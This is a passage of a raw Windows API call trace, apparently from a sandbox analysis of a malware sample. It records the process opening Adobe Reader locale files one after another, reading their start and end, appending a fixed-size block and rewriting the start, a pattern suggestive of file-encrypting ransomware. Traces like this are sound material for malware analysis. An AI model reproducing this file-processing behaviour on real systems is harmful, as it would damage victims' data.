dwMilliseconds=0xffffffff) returned 0x0 [0039.380] ReleaseMutex (hMutex=0x128) returned 1 [0039.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.POL", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.POL", lpUsedDefaultChar=0x0) returned 12 [0039.380] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.452] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.463] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x14c600 [0039.463] ReadFile (in: hFile=0x1ac, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.469] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x14c600 [0039.469] WriteFile (in: hFile=0x1ac, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.469] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.469] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.470] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.470] CloseHandle (hObject=0x1ac) returned 1 [0039.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\WebLink.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\weblink.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.470] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.470] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7200 [0039.470] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.470] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.470] ReleaseMutex (hMutex=0x128) returned 1 [0039.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.POL", lpUsedDefaultChar=0x0) returned 11 [0039.471] ReadFile (in: hFile=0x1ac, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.479] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6200 [0039.479] ReadFile (in: hFile=0x1ac, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.491] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6200 [0039.491] WriteFile (in: hFile=0x1ac, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.491] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.491] WriteFile (in: hFile=0x1ac, lpBuffer=0x2768028*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.491] CloseHandle (hObject=0x1ac) returned 1 [0039.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\EScript.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\escript.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0039.491] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.491] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xa000 [0039.492] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.492] ReleaseMutex (hMutex=0x128) returned 1 [0039.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.PTB", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.PTB", lpUsedDefaultChar=0x0) returned 11 [0039.492] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.496] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9000 [0039.496] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.497] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x9000 [0039.497] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da9f08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9f08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.497] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.498] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da9f08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da9f08*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.498] CloseHandle (hObject=0x1ac) returned 1 [0039.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Search.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\search.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.507] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.507] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6000 [0039.507] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.507] ReleaseMutex (hMutex=0x128) returned 1 [0039.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.507] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.PTB", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.PTB", lpUsedDefaultChar=0x0) returned 10 [0039.507] ReadFile (in: hFile=0x12c, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.511] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5000 [0039.511] ReadFile (in: hFile=0x12c, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.514] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5000 [0039.514] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.515] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.515] WriteFile (in: hFile=0x12c, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.515] CloseHandle (hObject=0x12c) returned 1 [0039.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Annots.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\annots.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.515] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.515] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7ca00 [0039.515] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.515] ReleaseMutex (hMutex=0x128) returned 1 [0039.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.RUM", cchWideChar=10, lpMultiByteStr=0x1e6342c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.RUM", lpUsedDefaultChar=0x0) returned 10 [0039.516] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.523] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7ba00 [0039.524] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.532] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7ba00 [0039.532] WriteFile (in: hFile=0x12c, lpBuffer=0x261bc78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x261bc78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.533] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.533] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.533] CloseHandle (hObject=0x12c) returned 1 [0039.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PDDom.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\pddom.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.533] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.533] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2c00 [0039.533] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.533] ReleaseMutex (hMutex=0x128) returned 1 [0039.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.RUM", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.RUM", lpUsedDefaultChar=0x0) returned 9 [0039.534] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.538] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c00 [0039.538] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.551] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c00 [0039.551] WriteFile (in: hFile=0x12c, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.552] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.552] CloseHandle (hObject=0x12c) returned 1 [0039.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Spelling.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\spelling.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2a00 [0039.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.552] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.552] ReleaseMutex (hMutex=0x128) returned 1 [0039.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.RUM", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.RUM", lpUsedDefaultChar=0x0) returned 12 [0039.552] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.560] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0039.560] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.570] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0039.570] WriteFile (in: hFile=0x12c, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.571] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.571] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.571] CloseHandle (hObject=0x12c) returned 1 [0039.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DVA.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\dva.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.571] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.571] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4a00 [0039.571] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.572] ReleaseMutex (hMutex=0x128) returned 1 [0039.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.RUS", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.RUS", lpUsedDefaultChar=0x0) returned 7 [0039.572] ReadFile (in: hFile=0x12c, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.578] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3a00 [0039.578] ReadFile (in: hFile=0x12c, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3a00 [0039.588] WriteFile (in: hFile=0x12c, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: 